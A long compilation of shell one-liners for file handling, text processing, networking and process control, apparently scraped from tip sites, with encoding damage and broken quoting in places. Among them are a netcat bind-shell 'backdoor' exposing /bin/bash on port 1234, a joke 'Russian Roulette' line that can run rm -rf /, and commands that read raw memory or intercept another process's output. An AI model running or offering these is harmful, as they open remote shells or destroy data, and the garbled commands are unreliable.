Make a statistic about the lines of code

find . -type f -name "*.c" -exec cat {} \; | wc -l

Throttling Bandwidth On A Mac

sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80

Get lines count of a list of files

find . -name "*.sql" -print0 | wc -l --files0-from=-

Save an HTML page, and covert it to a .pdf file

wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &

find files containing text

grep -lir "some text" *

Validate and pretty-print JSON expressions.

echo '{"json":"obj"}' | python -m simplejson.tool

Move all files with common extension to current directory

mv `find .zip ./` .

Download an entire website

wget --random-wait -r -p -e robots=off -U mozilla https://www.example.com

Extract tarball from internet without local saving

wget -qO - "https://www.tarball.com/tarball.gz" | tar zxvf -

Update twitter via curl

curl -u user:pass -d status="Tweeting from the shell" https://twitter.com/statuses/update.xml

Lookaround in grep

echo "John's" | grep -Po '\b\w+(?<!s)\b'

WHAT PROCESSES ARE RUNNING

pstree -A | awk '{print "    "$0}'

CLOSE USER ON MACHINE

pkill -KILL -u username

FIND ALL TYPE FILES IN SUBFOLDERS AND COPY INTO NERW LOCATION

find ./ -type f -exec cp '{}' ./ \;

SERCH AND COPY

find /media/cdrom -type f -name "*.jpg" -exec cp {} /home/user/pics/ \;

find /path/to/directory/ -type f \ ( -iname '*.jpg' -o -iname '*jpeg' \) -print0 |xargs -0 tar c | (cd /newpicfolder ; tar x)
find . -iname '*.jpg' -exec echo '<img src="{}">' \; > gallery.html

TO REMOVE FILES FROM YOUR HOME WERE ACCESSED MORE THAN ONE YEAR AFTER

They were last modified, pausing to confirm before each removal, type:

$ find ~ -used +365 -ok rm '{}' ';' [RET]

REORDER FILE WITH MAX 100 FILE PER FOLDER

find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((++folder)); fi; cp $line $folder/; done

RENAME .JPG TO .jpg RECURSIVELY

find /path/to/images -name '*.JPG' -exec rename "s/.JPG/.jpg/g" \{\} \;

REMOVE EXIF DATA FROM IMAGES WITH PROGRESS

i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done

FIND JPEG IMAGES AND COPY THEM TO A CENTRAL LOCATION

find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &

Use if you have pictures all over the place and you want to copy them to a central location
Synopsis:
Find jpg files
translate all file names to lowercase
backup existing, don't overwrite, preserve mode ownership and timestamps
copy to a central location

SSH SCREENSHOT:

DISPLAY=:0.0 import -window root /tmp/shot.png

RECORD DESKTOP WITH FFMPEG

ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg

SLIDESHOW OF IMAGES WITH FEH

F - fullscreen
z - random
D - time display in sec.

feh -Fr -D 5 ~/Images
ln -nsf <TARGET> <LINK>

RDP through SSH tunnel

ssh -f -L3389:<RDP_HOST>:3389 <SSH_PROXY> "sleep 10" && rdesktop -T'<WINDOW_TITLE>' -uAdministrator -g800x600 -a8 -rsound:off -rclipboard:PRIMARYCLIPBOARD -5 localhost

Control ssh connection

[enter]~?

simple port check command

parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110

List your MACs address

sort -u < /sys/class/net/*/address

phpinfo from the command line

php -i

bash alias for sdiff: differ

alias differ='sdiff --suppress-common-lines $1 $2'
cut -f 2- -d " "

Look for jQuery version script include in files asp$, htm$ ie. not *.aspx.cs

find . \( -name "*.as[pc]x" -o -name "*.htm*" \) -exec grep -Hi "jquery-1" {} +

Regex or

egrep '(expr1|expr2)' file

HTTP Caching (gateway/reverse proxy cache for webapps)

response.headers['Cache-Control'] = 'public, max-age=60';

Find common lines between two files

comm -12 FILE1.sorted FILE2.sorted > common
scalac quicksort.scala && javap QuickSort

grep: find in files

egrep -in "this|that" *.dat

Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard)

sudo env ARCHFLAGS="-arch x86_64" gem install mysql

Recursively remove all .svn directories

rm -rf `find . -type d -name .svn`

Enumerate rubygems environment

gem environment

Clone all remote branches of a specific GitHub repository

git branch -a | grep "remotes/origin" | grep -v master | awk -F / '{print $3}' | xargs -I % git clone -b % git://github.com/jamesotron/DevWorld-2010-Cocoa-Workshop %

Check if SSL session caching is enabled on Google

gnutls-cli -V -r www.google.com |grep 'Session ID'

Get pid of running Apache Tomcat process

ps -eo pid,args | grep -v grep |  grep catalina | awk '{print $1}'

ignore .DS_Store forever in GIT

echo .DS_Store >> ~/.gitignore

Find Out My Linux Distribution Name and Version

cat /etc/*-release

Delete specific remote ‘origin’ branch ‘gh-pages’

git push origin :gh-pages

Move files matching a certain pattern to another folder

find . | grep ".*\[[Church|CPYAF].*" | while read f; do mv "$f" ../emails;done

Python: Quickly locate site-packages

python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()"

Extract specific lines from a text file using Stream Editor (sed)

sed -n -e 1186,1210p A-small-practice.in

delete a particular line by line number in file

sed -i 3d ~/.ssh/known_hosts

Delete all empty/blank lines from text file & output to file

sed '/^$/d' /tmp/data.txt > /tmp/output.txt

3 Simple Steps to X11 Forward on Mac OS X

ssh -X johndoe@123.456.789

Recursively remove all ‘.java.orig’ files (scalable)

find . -type f -iname '*.java.orig' -delete

find the path of the java called from the command line

ls -l $(type -path -all java)

Remove two dashes (’–’) before signature in Evolution Mail (>2.30.x)

gconf-editor /apps/evolution/mail/composer/no_signature_delim false

Extract fields 2, 4, and 5 from file.txt:

awk '{print $2,$4,$5}' input.txt
awk '$5 == "abc123"' file.txt
awk '$5 != "abc123"' file.txt
awk '$7  ~ /^[a-f]/' file.txt
awk '$7 !~ /^[a-f]/' file.txt

Get unique entries in file.txt based on column 2 (takes only the first instance):

awk '!arr[$2]++' file.txt
awk '$3>$5' file.txt

Sum column 1 of file.txt:

awk '{sum+=$1} END {print sum}' file.txt

Compute the mean of column 2:

awk '{x+=$2}END{print x/NR}' file.txt

Replace all occurances of foo with bar in file.txt:

sed 's/foo/bar/g' file.txt

Trim leading whitespaces and tabulations in file.txt:

sed 's/^[ \t]*//' file.txt

Trim trailing whitespaces and tabulations in file.txt:

sed 's/[ \t]*$//' file.txt

Trim leading and trailing whitespaces and tabulations in file.txt:

sed 's/^[ \t]*//;s/[ \t]*$//' file.txt

Delete blank lines in file.txt:

sed '/^$/d' file.txt

Delete everything after and including a line containing EndOfUsefulData:

sed -n '/EndOfUsefulData/,$!p' file.txt

Remove duplicates while preserving order

awk '!visited[$0]++' file.txt

CREATE DISK IMAGE USING DD AND PV

### bring img on sd card
sudo pv -tpreb name.img | sudo dd of=/dev/mmcblk0 bs=4M
### create image from sd card
sudo pv -tpreb /dev/mmcblk0 | sudo dd of=name.img bs=4M

CREATE DISK IMAGE AND COMPRESS

sudo dd bs=4M if=/dev/mmcblk0 | gzip > /home/yourusername/yourbackupdircetory/image`date +%d%m%y`.gz
sudo gzip -dc /home/yourusername/yourbackupdircetory/image `yourneededdate`.gz | sudo dd bs=4M of=/dev/mmcblk0

CONVERT MARKDOWN INTO RST

cat file.md | pandoc --from markdown --to rst -o file.rst

SEND A CIRCULAR

echo \u201cdear admin, please ban johnlame\u201d | wall

Broadcast Message from root@urfix.com (/dev/pts/2) at 20:32 \u2026

dear admin, please ban johnlame

FIND USB DEVICE

diff <(lsusb) <(sleep 3s && lsusb)

I often use it to find recently added or removed device, or using find in
/dev, or anything similar.

Just run the command, plug the device, and wait to see him and only him

USE FILE(1) TO VIEW DEVICE INFORMATION

file -s /dev/sd* file(1) can print details about certain devices in the
/dev/ directory

(block devices in this example).

This helped me to know at a glance the location and revision of my
bootloader, UUIDs,

filesystem status,

which partitions were primaries / logicals, etc.. without running several
commands.  See also file -s /dev/dm-* file -s /dev/cciss/* etc..

STOP FLASH FROM TRACKING EVERYTHING YOU DO.

for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i
) ; done

Brute force way to block all LSO cookies on a Linux system with the
non-free Flash browser plugin. Works just fine for my needs. Enjoy.

SEND A CIRCULAR PART 2

wall <<< \u201cBroadcast This\u201d

SINGLE USE VNC-OVER-SSH CONNECTION

ssh -f -L 5900:localhost:5900 your.ssh.server \u201cx11vnc -safer -localhost
-nopw -once -display :0\u2033; vinagre localhost:5900

COMPARE COPIES OF A FILE WITH MD5

cmp file1 file2

BACK SSH FROM FIREWALLED HOSTS

ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip

host B (you) redirects a modem port (62220) to his local ssh.

host A is a remote machine (the ones that issues the ssh cmd).

once connected port 5497 is in listening mode on host B.

host B just do a

ssh 127.0.0.1 -p 5497 -l user

and reaches the remote host\u2019ssh. This can be used also for vnc and so on.

RUN A PROGRAM TRANSPARENTLY, BUT PRINT A STACK TRACE IF IT FAILS

gdb -batch -ex \u201crun\u201d -ex \u201cbt\u201d ${my_program} 2>&1 | grep -v ^\u201dNo stack.\u201d$

For automated unit tests I wanted my program to run normally, but if it
crashed, to add

a stack trace to the output log. I came up with this command so I wouldn\u2019t
have to mess around with core files.

The one downside is that it does smoosh your program\u2019s stderr and stdout
together.

RENAME FILES ACCORDING TO FILE WITH COLUMS OF CORRESPONDING NAMES

xargs -n 2 mv < file_with_colums_of_names

Maybe simpler, but again, don\u2019t know how it will work with space in
filename.

CREATE A NEW FILE

> file

STDERR IN COLOR

mycommand 2> >(while read line; do echo -e \u201c\e[01;31m$line\e[0m"; done)

RENAME HTML FILES ACCORDING TO THEIR TITLE TAG

perl -wlne'/title>([^<]+)/i&&rename$ARGV,\u201d$1.html\u201d\u2018 *.html

The above one-liner could be run against all HTML files in a directory. It
renames the HTML files based on

the text contained in their title tag. This helped me in a situation where
I had a directory containing

thousands of HTML documents with meaningless filenames.

MAKE VIM OPEN IN TABS BY DEFAULT (SAVE TO .PROFILE)

alias vim="vim -p"

I always add this to my .profile rc so I can do things like: "vim *.c" and
the files are opened in tabs.

LOOK FOR ENGLISH WORDS IN /DEV/URANDOM

head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt &&
wget -q https://www.mavi1.org/web_security/wordlists/webster-dictionary.txt
-O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt

FIND A COMMANDLINEFU USERS AVERAGE COMMAND RATING

wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\>
'/num-votes/{S+=$2; I++}END{print S/I}'

SET LAPTOP DISPLAY BRIGHTNESS

echo <percentage> > /proc/acpi/video/VGA/LCD/brightness

Run as root. Path may vary depending on laptop model and video card (this
was tested on an Acer laptop with ATI HD3200 video).

cat /proc/acpi/video/VGA/LCD/brightnessto discover the possible values for
your display.

SEND YOUR TERMINFO TO ANOTHER MACHINE

infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti
&& tic /tmp/ti"

I frequently use this trick to send my terminal settings to HPUX and older
RHEL systems.  This is due to the fact that terminfo support for
rxvt-unicode (my preferred terminal app) does not exist on many older Linux
and Unices.

EFFICIENT REMOTE FORENSIC DISK ACQUISITION GPG-CRYPTED FOR MULTIPLE RECIPIENTS

dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir
/home/to/.gnupg | nc remote_machine 6969

Acquires a bit-by-bit data image, gzip-compresses it on multiple cores
(pigz) and encrypts the

data for multiple recipients (gpg -e -r). It finally sends it off to
a remote machine.

UP A UNICODE CHARACTER BY NAME

exec 5< <(grep -i "$*" $(locate CharName.pm));while read <&5;do h=${REPLY%%
*};/usr/bin/printf "\u$h\tU+%s\t%s\n"  "$h"  "${REPLY######$h }";done

THE FIRST FIELD OF EACH LINE WHERE THE DELIMITER IS THE FIRST ASCII CHARACTER

cut -f2 -d`echo -e '\x01'` file

EQUIVALENT OF A BOSS BUTTON

cat /dev/urandom | hexdump -C | highlight ca fe 3d 42 e1 b3 ae f8 | perl
-MTime::HiRes -pnE "Time::HiRes::usleep(rand()*1000000)"

Nobody wants the boss to notice when you're slacking off. This will fill
your shell with random data, parts of it highlighted.

Note that 'highlight' is the Perl module App::highlight, not "a universal
sourcecode to formatted text converter." You'll also need Term::ANSIColor.

REMOTE DESKTOP (RDP) FROM COMMAND LINE HAVING A CUSTOM SCREEN SIZE

xfreerdp --plugin rdpsnd -g 1280x720 -a 24 -z -x m -u $username -p
$password 10.20.30.40

This example uses xfreerdp, which builds upon the development of rdesktop.
This example usage will also send you the remote machine's sound.

MEMORY STATS ON NEXENTA/SOLARIS

echo ::memstat | mdb -k

A PDF VERSION OF A MANPAGE

man -t manpage | ps2pdf - filename.pdf

Quick and dirty version. I made a version that checks if a manpage exists
(but it's not a oneliner).  You must have ps2pdf and of course Ghostscript
installed in your box.

MONITOR PROGRESS OF A COMMAND

pv access.log | gzip > access.log.gz

Pipe viewer is a terminal-based tool for monitoring the progress of data
through a pipeline. It can be inserted into any normal pipeline between two
processes to give a visual indication of how quickly data is passing
through, how long it has taken, how near to completion it is, and an
estimate of how long it will be until completion. Source:
https://www.catonmat.net/blog/unix-utilities-pipe-viewer/

GRAPHICAL TREE OF SUB-DIRECTORIES

ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /'
-e 's/-/|/' Prints a graphical directory tree from your current directory

DELETE ALL FILES IN A FOLDER THAT DONu2019T MATCH A CERTAIN FILE EXTENSION

rm !(*.foo|*.bar|*.baz) Deletes all files in a folder that are NOT *.foo,
*.bar or *.baz files. Edit the pattern inside the brackets as you like.

EASY AND FAST ACCESS TO OFTEN EXECUTED COMMANDS THAT ARE VERY LONG AND COMPLEX

some_very_long_and_complex_command ### label When using reverse-i-search you
have to type some part of the command that you want to retrieve. However,
if the command is very complex it might be difficult to recall the parts
that will uniquely identify this command. Using the above trick it\u2019s
possible to label your commands and access them easily by pressing ^R
and typing the label (should be short and descriptive).

DEFINE A QUICK CALCULATOR FUNCTION

? () { echo "$*" | bc -l; } defines a handy function for quick calculations
from cli.

once defined:

? 10*2+3 ###### DISPLAY A COOL CLOCK ON YOUR TERMINAL

watch -t -n1 "date +%T|figlet" This command displays a clock on your
terminal which updates the time every second. Press Ctrl-C to exit.

A couple of variants:

A little bit bigger text:

watch -t -n1 "date +%T|figlet -f big"You can try other figlet fonts, too.

Big sideways characters:

watch -n 1 -t '/usr/games/banner -w 30 $(date +%M:%S)'This requires
a particular version of banner and a 40-line terminal or you can adjust the
width (\u201c30\u2033 here).

INTERCEPT STDOUT/STDERR OF ANOTHER PROCESS

strace -ff -e trace=write -e write=1,2 -p SOME_PID

REMOVE DUPLICATE ENTRIES IN A FILE WITHOUT SORTING.

awk '!x[$0]++' <file>

Using awk, find duplicates in a file without sorting, which reorders the
contents. awk will not reorder them, and still find and remove duplicates
which you can then redirect into another file.

RECORD A SCREENCAST AND CONVERT IT TO AN MPEG

ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg Grab X11
input and create an MPEG at 25 fps with the resolution 800\u00d7600

MOUNT A .ISO FILE IN UNIX/LINUX

mount /path/to/file.iso /mnt/cdrom -oloop \u201c-o loop\u201d lets you use a file as
a block device

INSERT THE LAST COMMAND WITHOUT THE LAST ARGUMENT (BASH)

!:- /usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 https://www.google.com/then

!:- https://www.urfix.com/is the same as

/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 https://www.urfix.com/ ######
CONVERT SECONDS TO HUMAN-READABLE FORMAT

date -d@1234567890 This example, for example, produces the output, \u201cFri Feb
13 15:26:30 EST 2009\u2033

JOB CONTROL

^Z $bg $disown You\u2019re running a script, command, whatever.. You don\u2019t
expect it to take long, now 5pm has rolled around and you\u2019re ready to go
home\u2026 Wait, it\u2019s still running\u2026 You forgot to nohup it before running it\u2026
Suspend it, send it to the background, then disown it\u2026 The ouput wont go
anywhere, but at least the command will still run\u2026

EDIT A FILE ON A REMOTE HOST USING VIM

vim scp://username@host//path/to/somefile

MONITOR THE QUERIES BEING RUN BY MYSQL

watch -n 1 mysqladmin --user=<user> --password=<password> processlist Watch
is a very useful command for periodically running another command \u2013 in this
using mysqladmin to display the processlist. This is useful for monitoring
which queries are causing your server to clog up.

More info here:
https://codeinthehole.com/archives/2-Monitoring-MySQL-processes.html

ESCAPE ANY COMMAND ALIASES

\[command] e.g. if rm is aliased for \u2018rm -i\u2019, you can escape the alias by
prepending a backslash:

rm [file] ### WILL prompt for confirmation per the alias

\rm [file] ### will NOT prompt for confirmation per the default behavior of
the command

SHOW APPS THAT USE INTERNET CONNECTION AT THE MOMENT. (MULTI-LANGUAGE)

ss -p for one line per process:

ss -p | catfor established sockets only:

ss -p | grep STAfor just process names:

ss -p | cut -f2 -sd\"or

ss -p | grep STA | cut -f2 -d\" ###### SEND POP-UP NOTIFICATIONS ON GNOME

notify-send ["<title>"] "<body>"

The title is optional.

Options:

-t: expire time in milliseconds.

-u: urgency (low, normal, critical).

-i: icon path.

On Debian-based systems you may need to install the \u2018libnotify-bin\u2019
package.

Useful to advise when a wget download or a simulation ends. Example:

wget URL ; notify-send "Done"

QUICKLY RENAME A FILE

mv filename.{old,new}

REMOVE ALL BUT ONE SPECIFIC FILE

rm -f !(survivior.txt)

GENERATE A RANDOM PASSWORD 30 CHARACTERS LONG

strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n';
echo Find random strings within /dev/urandom. Using grep filter to just
Alphanumeric characters, and then print the first 30 and remove all the
line feeds.

RUN A COMMAND ONLY WHEN LOAD AVERAGE IS BELOW A CERTAIN THRESHOLD

echo "rm -rf /unwanted-but-large/folder" | batch Good for one off jobs that
you want to run at a quiet time. The default threshold is a load average of
0.8 but this can be set using atrun.

BINARY CLOCK

watch -n 1 'echo "obase=2;`date +%s`" | bc' Create a binary clock.

PROCESSOR / MEMORY BANDWIDTHD? IN GB/S

dd if=/dev/zero of=/dev/null bs=1M count=32768 Read 32GB zero\u2019s and throw
them away.

How fast is your system?

BACKUP ALL MYSQL DATABASES TO INDIVIDUAL FILES

for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump
$I | gzip > "$I.sql.gz"; done

LIKE TOP, BUT FOR FILES

watch -d -n 2 \u2018df; ls -FlAt;\u2019

DOWNLOAD AN ENTIRE WEBSITE

wget \u2013random-wait -r -p -e robots=off -U mozilla https://www.example.com

-p parameter tells wget to include all files, including images.

-e robots=off you don\u2019t want wget to obey by the robots.txt file

-U mozilla as your browsers identity.

\u2013random-wait to let wget chose a random number of seconds to wait, avoid
get into black list.

Other Useful wget Parameters:

\u2013limit-rate=20k limits the rate at which it downloads files.

-b continues wget after logging out.

-o $HOME/wget_log.txt logs the output

LIST THE SIZE (IN HUMAN READABLE FORM) OF ALL SUB FOLDERS FROM THE CURRENT LOCATION

du -h \u2013max-depth=1

A VERY SIMPLE AND USEFUL STOPWATCH

time read (ctrl-d to stop)

time read -sn1 (s:silent, n:number of characters. Press any character to
stop)

QUICK ACCESS TO THE ASCII TABLE.

man ascii

SHUTDOWN A WINDOWS MACHINE FROM LINUX

net rpc shutdown -I ipAddressOfWindowsPC -U username%password

This will issue a shutdown command to the Windows machine. username must be
an administrator on the Windows machine. Requires samba-common package
installed. Other relevant commands are:

net rpc shutdown -r : reboot the Windows machine

net rpc abortshutdown : abort shutdown of the Windows machine

Type:

net rpc

to show all relevant commands

JUMP TO A DIRECTORY, EXECUTE A COMMAND AND JUMP BACK TO CURRENT DIR

(cd /tmp && ls)

DISPLAY THE TOP TEN RUNNING PROCESSES u2013 SORTED BY MEMORY USAGE

ps aux | sort -nk +4 | tail

ps returns all running processes which are then sorted by the 4th field in
numerical order and the top 10 are sent to STDOUT.

LIST OF COMMANDS YOU USE MOST OFTEN

history | awk \u2018{a[$2]++}END{for(i in a){print a[i] \u201d \u201d i}}\u2019 | sort -rn
| head

REBOOT MACHINE WHEN EVERYTHING IS HANGING (RAISING A SKINNY ELEPHANT)

<alt> + <print screen/sys rq> + <R> \u2013 <S> \u2013 <E> \u2013 <I> \u2013 <U> \u2013 <B>

If the machine is hanging and the only help would be the power button, this
key-combination will help to reboot your machine (more or less) gracefully.

R \u2013 gives back control of the keyboard

S \u2013 issues a sync

E \u2013 sends all processes but init the term singal

I \u2013 sends all processes but init the kill signal

U \u2013 mounts all filesystem ro to prevent a fsck at reboot

B \u2013 reboots the system

Save your file before trying this out, this will reboot your machine
without warning!

https://en.wikipedia.org/wiki/Magic_SysRq_key

MAKE u2018LESSu2019 BEHAVE LIKE u2018TAIL -Fu2019

less +F somelogfile

Using +F will put less in follow mode. This works similar to \u2018tail -f\u2019. To
stop scrolling, use the interrupt. Then you\u2019ll get the normal benefits of
less (scroll, etc.).

Pressing SHIFT-F will resume the \u2018tailling\u2019.

SET AUDIBLE ALARM WHEN AN IP ADDRESS COMES ONLINE

ping -i 60 -a IP_address

Waiting for your server to finish rebooting? Issue the command above and
you will hear a beep when it comes online. The -i 60 flag tells ping to
wait for 60 seconds between ping, putting less strain on your system. Vary
it to your need. The -a flag tells ping to include an audible bell in the
output when a package is received (that is, when your server comes online).

BACKTICKS ARE EVIL

echo \u201cThe date is: $(date +%D)\u201d This is a simple example of using proper
command nesting using $() over \u201c. There are a number of advantages of $()
over backticks. First, they can be easily nested without escapes:

program1 $(program2 $(program3 $(program4)))versus

program1 `program2 \`program3 \`program4\`\``Second, they\u2019re easier to
read, then trying to decipher the difference between the backtick and the
singlequote: `\u2019. The only drawback $() suffers from is lack of total
portability. If your script must be portable to the archaic Bourne shell,
or old versions of the C-shell or Korn shell, then backticks are
appropriate, otherwise, we should all get into the habit of $(). Your
future script maintainers will thank you for producing cleaner code.

SIMULATE TYPING

echo \u201cYou can simulate on-screen typing just like in the movies\u201d | pv -qL
10

This will output the characters at 10 per second.

PYTHON SMTP SERVER

python -m smtpd -n -c DebuggingServer localhost:1025

This command will start a simple SMTP server listening on port 1025 of
localhost. This server simply prints to standard output all email headers
and the email body.

WATCH NETWORK SERVICE ACTIVITY IN REAL-TIME

lsof -i

DIFF TWO UNSORTED FILES WITHOUT CREATING TEMPORARY FILES

diff <(sort file1) <(sort file2)

bash/ksh subshell redirection (as file descriptors) used as input to diff

RIP AUDIO FROM A VIDEO FILE.

mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file>
<input-file>

replace accordingly

MATRIX STYLE

tr -c \u201c[:digit:]\u201d \u201d \u201d < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=\u201d1;32\u2033 grep \u2013color \u201c[^ ]\u201c

THIS COMMAND WILL SHOW YOU ALL THE STRING (PLAIN TEXT) VALUES IN RAM

sudo dd if=/dev/mem | cat | strings

A fun thing to do with ram is actually open it up and take a peek.

DISPLAY WHICH DISTRO IS INSTALLED

cat /etc/issue

EASILY SEARCH RUNNING PROCESSES (ALIAS).

alias \u2018ps?\u2019='ps ax | grep \u2018

CREATE A SCRIPT OF THE LAST EXECUTED COMMAND

echo \u201c!!\u201d > foo.sh

Sometimes commands are long, but useful, so it\u2019s helpful to be able to make
them permanent without having to retype them. An alternative could use the
history command, and a cut/sed line that works on your platform.

history -1 | cut -c 7- > foo.sh

EXTRACT TARBALL FROM INTERNET WITHOUT LOCAL SAVING

wget -qO \u2013 \u201chttps://www.tarball.com/tarball.gz\u201d | tar zxvf -

CREATE A BACKDOOR ON A MACHINE TO ALLOW REMOTE CONNECTION TO BASH

nc -vv -l -p 1234 -e /bin/bash

This will launch a listener on the machine that will wait for a connection
on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash. (becareful with

History

Run the last command

$ !!

Run the last command as root

$ sudo !!

Create a script of the last executed command

$ echo "!!" > script.sh

Reuse all parameter of the previous command line

$ echo cd .
$ !*

Run the last command with some argument

$ echo a b c d e
$ echo !!:2
$ echo !!:3-$

Insert the last argument of the previous command

$ cp script.sh /usr/bin/
$ cd !$
$ cd <ESC> .
$ cd <ALT> .

Runs previous command but replacing

$ echo no typos
$ ^typos^errors

Escape any command aliases

$ alias ls="ls -a"
$ \ls

Run a command from the history

$ history
   ...
   1225  ls -l
   1226  git status
   1227  history
$ !-3
$ !1225

Search the history for the most recent command beginning with text

$ !text

Search the history for the most recent command containing text

$ <ctrl-r>text

List of commands you use most often

$ history | awk '{print $2}' | sort | uniq -c | sort -rn | head

Execute a command without saving it in the history

$ <space>command

Directories

Make a directory creating intermediate directories

$ mkdir -p a/long/directory/path

Create a directory and change into it

$ mkdir dir && cd $_

Change to the previous working directory

$ cd -

Jump to a directory. Execute a command in a subshell. Jump back to current directory

$ (cd /tmp && ls)

Files

Quickly rename a file

$ mv filename.{old,new}
$ mv filename.{png,jpg}

Create a quick back-up copy of a file

$ cp file.txt{,.bak}

Create a simple text file from command line

$ cat > file.txt
{your text here}
{your text here}
<ctrl-d>

Create a simple text file from command line or script (EOF is just a token, can be any word)

$ cat > file.txt << EOF
{your text here}
{your text here}
EOF

Empty a file from command line (usefull to truncate log file from running processes)

$ > file.txt

Empty a file from command line or script

$ cat /dev/null > file.txt

Make less behave like tail -f

$ less +F somelogfile

Display line numbers in a file

$ cat -n file
$ less -N file

Redirect standard input to a file. Print it to standard output

$ command | tee file.txt | less

  ┌─────────┐  ┌─────────┐  ┌─────────┐
  │ command │─▸│   tee   │─▸│ stdout  │
  └─────────┘  └────┬────┘  └─────────┘
              ┌───────────┐
              │   file    │
              └───────────┘

Searching

Search for a string inside all files in the current directory

$ grep -RnsI --color=auto <pattern> *

Beyond grep

  _   /|
  \'o.O'
  =(___)=
    U    ack!

$ ack <pattern>

Recursively remove all empty directories

$ find . -type d -empty -delete

Networking

Serve current directory tree at https://$HOSTNAME:8000/

$ python -m SimpleHTTPServer
$ ruby -run -e httpd . -p 8000

Share a file between two computers

receiver $ nc -l 5566 > data-dump.sql
sender   $ nc <receiver-ip-address> 5566 < data-dump.sql

Share a BIG file between two computers and show progress bar

receiver $ nc -l 5566 > big-file.iso
sender   $ pv big-file.iso | nc <receiver-ip-address> 5566

Transfer a folder between two computers

receiver $ nc -l 5566 | tar -zxv
sender   $ tar -zcv <folder> | nc -w1 <receiver-ip-address> 5566

Download an entire website

$ wget -m -k https://website.com

User environment

Show PATH in a human-readable way

$ echo $PATH | tr ':' '\n'
$ tr ':' '\n' <<< $PATH

Clear the terminal screen

$ <ctrl-l>
$ clear

Salvage a borked terminal

$ reset

Close shell keeping all subprocess running

$ disown -a && exit

Run a command immune to hangups

$ nohup command &

Networking

Attach screen over ssh

$ ssh user@host -t screen -r

Compare a remote file with a local file

$ ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

Get your public IP address

$ curl ifconfig.me

Set audible alarm when an IP address comes online

$ ping -a IP_address

List programs with open ports and connections

$ lsof -i

Check which process is listening on a specific port

$ netstat -nlp | grep 8080
$ netstat -nlp tcp | grep 8080 (BSD)

File system

Currently mounted filesystems in nice layout

$ mount | column -t

Display free disk space

$ df -h

Display disk usage statistics for the current directory

$ du -sh *

Display 10 biggest files/folders for the current directory

$ du -s * | sort -nr | head

Create a zip archive of a directory

$ zip -r archive.zip directory

Extract compressed archive

$ unzip archive.zip

Show File System Hierarchy

$ man hier

Date & Time

Shutdown the system at a given time

$ shutdown -h now
$ shutdown -h 22:49

Execute a command at a given time

$ echo "ls -l" | at midnight

Simple stopwatch

$ time read
<ctrl-d>

Put a console clock in top right corner

$ while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &

Displays a calendar

$ cal 12 1984

What day was yesterday or will it be tomorrow, etc…

$ date -d yesterday
$ date -d tomorrow +%Y-%m-%d
$ date -d "7 days ago" +%Y-%m-%d
$ date -j -v-1d (BSD)

Processes

Display the top ten running processes. (Sorted by memory usage)

$ ps aux | sort -nk +4 | tail

Kill all Ruby processes

$ ps aux | grep ruby | awk '{ print $2 }' | xargs kill -9
$ ps aux | awk '/ruby/ && ! /awk/ { system("kill -9 "$2) }'
$ pkill -f ruby
$ killall -9 ruby

Check which process is modifying a certain directory or file

$ auditctl -w /path/to/directory -p war

See results

$ ausearch -f /path/to/directory

Miscellaneous

32 bits or 64 bits?

$ getconf LONG_BIT

Quick access to the ascii table

$ man ascii

Count your commits

$ git shortlog -sn

Russian Roulette in Bash (remember kids don’t try this at home)

$ [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "You live"

Watch Star Wars via telnet

$ telnet towel.blinkenlights.nl